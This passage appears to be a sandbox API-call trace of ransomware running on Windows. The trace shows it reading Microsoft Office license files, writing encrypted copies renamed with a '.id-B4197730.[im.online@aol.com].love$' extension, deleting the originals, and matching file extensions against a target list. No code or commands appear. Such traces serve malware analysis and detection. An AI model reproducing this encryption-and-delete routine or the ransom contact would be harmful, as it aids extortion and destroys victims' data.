office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.317] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11596) returned 1 [0272.318] CloseHandle (hObject=0x388) returned 1 [0272.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms")) returned 0x220 [0272.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.319] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.319] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0272.644] GetLastError () returned 0x0 [0272.644] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d4c, lpOverlapped=0x0) returned 1 [0272.665] WriteFile (in: hFile=0x454, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0272.667] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.667] WriteFile (in: hFile=0x454, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x10e, lpOverlapped=0x0) returned 1 [0272.667] SetEndOfFile (hFile=0x454) returned 1 [0272.667] CloseHandle (hObject=0x454) returned 1 [0272.668] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.668] SetEndOfFile (hFile=0x388) returned 1 [0272.676] CloseHandle (hObject=0x388) returned 1 [0272.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms")) returned 1 [0272.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0272.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0272.678] lstrlenW (lpString=".doc") returned 4 [0272.679] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.679] lstrlenW (lpString=".docx") returned 5 [0272.679] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.679] lstrlenW (lpString=".pdf") returned 4 [0272.679] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.679] lstrlenW (lpString=".xls") returned 4 [0272.679] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.679] lstrlenW (lpString=".xlsx") returned 5 [0272.679] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.679] lstrlenW (lpString=".ppt") returned 4 [0272.679] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0272.679] lstrlenW (lpString=".zip") returned 4 [0272.679] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.679] lstrlenW (lpString=".rar") returned 4 [0272.679] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.679] lstrlenW (lpString=".bz2") returned 4 [0272.679] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.679] lstrlenW (lpString=".7z") returned 3 [0272.679] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0272.680] lstrlenW (lpString=".dbf") returned 4 [0272.680] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0272.680] lstrlenW (lpString=".1cd") returned 4 [0272.680] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0272.680] lstrlenW (lpString=".jpg") returned 4 [0272.680] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0272.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0272.680] lstrlenW (lpString=".doc") returned 4 [0272.680] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.680] lstrlenW (lpString=".docx") returned 5 [0272.680] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.680] lstrlenW (lpString=".pdf") returned 4 [0272.680] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.680] lstrlenW (lpString=".xls") returned 4 [0272.680] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.680] lstrlenW (lpString=".xlsx") returned 5 [0272.681] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.681] lstrlenW (lpString=".ppt") returned 4 [0272.681] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0272.681] lstrlenW (lpString=".zip") returned 4 [0272.681] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.681] lstrlenW (lpString=".rar") returned 4 [0272.681] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.681] lstrlenW (lpString=".bz2") returned 4 [0272.681] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.681] lstrlenW (lpString=".7z") returned 3 [0272.681] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0272.681] lstrlenW (lpString=".dbf") returned 4 [0272.681] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0272.681] lstrlenW (lpString=".1cd") returned 4 [0272.681] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0272.681] lstrlenW (lpString=".jpg") returned 4 [0272.681] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.681] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0272.681] lstrlenW (lpString="MondoR_Trial-ul-oob.xrm-ms") returned 26 [0272.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.683] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11586) returned 1 [0272.683] CloseHandle (hObject=0x388) returned 1 [0272.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms")) returned 0x220 [0272.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.684] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.685] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0272.687] GetLastError () returned 0x0 [0272.687] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d42, lpOverlapped=0x0) returned 1 [0272.689] WriteFile (in: hFile=0x4b0, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0272.691] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.691] WriteFile (in: hFile=0x4b0, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x108, lpOverlapped=0x0) returned 1 [0272.691] SetEndOfFile (hFile=0x4b0) returned 1 [0272.691] CloseHandle (hObject=0x4b0) returned 1 [0272.691] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.691] SetEndOfFile (hFile=0x388) returned 1 [0272.695] CloseHandle (hObject=0x388) returned 1 [0272.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms")) returned 1 [0272.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0272.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0272.698] lstrlenW (lpString=".doc") returned 4 [0272.698] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.698] lstrlenW (lpString=".docx") returned 5 [0272.698] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.698] lstrlenW (lpString=".pdf") returned 4 [0272.698] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.698] lstrlenW (lpString=".xls") returned 4 [0272.698] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.698] lstrlenW (lpString=".xlsx") returned 5 [0272.699] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.699] lstrlenW (lpString=".ppt") returned 4 [0272.699] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0272.699] lstrlenW (lpString=".zip") returned 4 [0272.699] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.699] lstrlenW (lpString=".rar") returned 4 [0272.699] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.699] lstrlenW (lpString=".bz2") returned 4 [0272.699] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.699] lstrlenW (lpString=".7z") returned 3 [0272.699] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0272.699] lstrlenW (lpString=".dbf") returned 4 [0272.699] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0272.699] lstrlenW (lpString=".1cd") returned 4 [0272.699] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0272.699] lstrlenW (lpString=".jpg") returned 4 [0272.699] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0272.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0272.699] lstrlenW (lpString=".doc") returned 4 [0272.699] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.700] lstrlenW (lpString=".docx") returned 5 [0272.700] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.700] lstrlenW (lpString=".pdf") returned 4 [0272.700] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.700] lstrlenW (lpString=".xls") returned 4 [0272.700] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.700] lstrlenW (lpString=".xlsx") returned 5 [0272.700] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.700] lstrlenW (lpString=".ppt") returned 4 [0272.700] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0272.700] lstrlenW (lpString=".zip") returned 4 [0272.700] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.700] lstrlenW (lpString=".rar") returned 4 [0272.700] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.700] lstrlenW (lpString=".bz2") returned 4 [0272.700] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.700] lstrlenW (lpString=".7z") returned 3 [0272.700] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0272.700] lstrlenW (lpString=".dbf") returned 4 [0272.700] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0272.701] lstrlenW (lpString=".1cd") returned 4 [0272.701] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0272.701] lstrlenW (lpString=".jpg") returned 4 [0272.701] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.701] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0272.701] lstrlenW (lpString="MondoVL_KMS_Client-ppd.xrm-ms") returned 29 [0272.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.850] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=12479) returned 1 [0272.850] CloseHandle (hObject=0x388) returned 1 [0272.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms")) returned 0x220 [0272.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0272.966] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.966] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.968] GetLastError () returned 0x0 [0272.968] ReadFile (in: hFile=0x4b0, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x30bf, lpOverlapped=0x0) returned 1 [0272.970] WriteFile (in: hFile=0x388, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x30c0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x30c0, lpOverlapped=0x0) returned 1 [0272.971] ReadFile (in: hFile=0x4b0, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.972] WriteFile (in: hFile=0x388, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x10e, lpOverlapped=0x0) returned 1 [0272.972] SetEndOfFile (hFile=0x388) returned 1 [0272.972] CloseHandle (hObject=0x388) returned 1 [0272.972] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.972] SetEndOfFile (hFile=0x4b0) returned 1 [0272.975] CloseHandle (hObject=0x4b0) returned 1 [0272.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms")) returned 1 [0272.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0272.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0272.978] lstrlenW (lpString=".doc") returned 4 [0272.978] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.978] lstrlenW (lpString=".docx") returned 5 [0272.978] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.978] lstrlenW (lpString=".pdf") returned 4 [0272.978] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.978] lstrlenW (lpString=".xls") returned 4 [0272.978] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.978] lstrlenW (lpString=".xlsx") returned 5 [0272.978] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.978] lstrlenW (lpString=".ppt") returned 4 [0272.978] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0272.978] lstrlenW (lpString=".zip") returned 4 [0272.978] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.978] lstrlenW (lpString=".rar") returned 4 [0272.978] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.978] lstrlenW (lpString=".bz2") returned 4 [0272.978] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.978] lstrlenW (lpString=".7z") returned 3 [0272.978] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0272.978] lstrlenW (lpString=".dbf") returned 4 [0272.978] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0272.978] lstrlenW (lpString=".1cd") returned 4 [0272.978] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0272.979] lstrlenW (lpString=".jpg") returned 4 [0272.979] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0272.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0272.979] lstrlenW (lpString=".doc") returned 4 [0272.979] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.979] lstrlenW (lpString=".docx") returned 5 [0272.979] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.979] lstrlenW (lpString=".pdf") returned 4 [0272.979] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.979] lstrlenW (lpString=".xls") returned 4 [0272.979] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.979] lstrlenW (lpString=".xlsx") returned 5 [0272.979] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.979] lstrlenW (lpString=".ppt") returned 4 [0272.979] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0272.979] lstrlenW (lpString=".zip") returned 4 [0272.979] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.979] lstrlenW (lpString=".rar") returned 4 [0272.979] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.979] lstrlenW (lpString=".bz2") returned 4 [0272.979] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.979] lstrlenW (lpString=".7z") returned 3 [0272.979] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0272.980] lstrlenW (lpString=".dbf") returned 4 [0272.980] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0272.980] lstrlenW (lpString=".1cd") returned 4 [0272.980] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0272.980] lstrlenW (lpString=".jpg") returned 4 [0272.980] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.980] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0272.980] lstrlenW 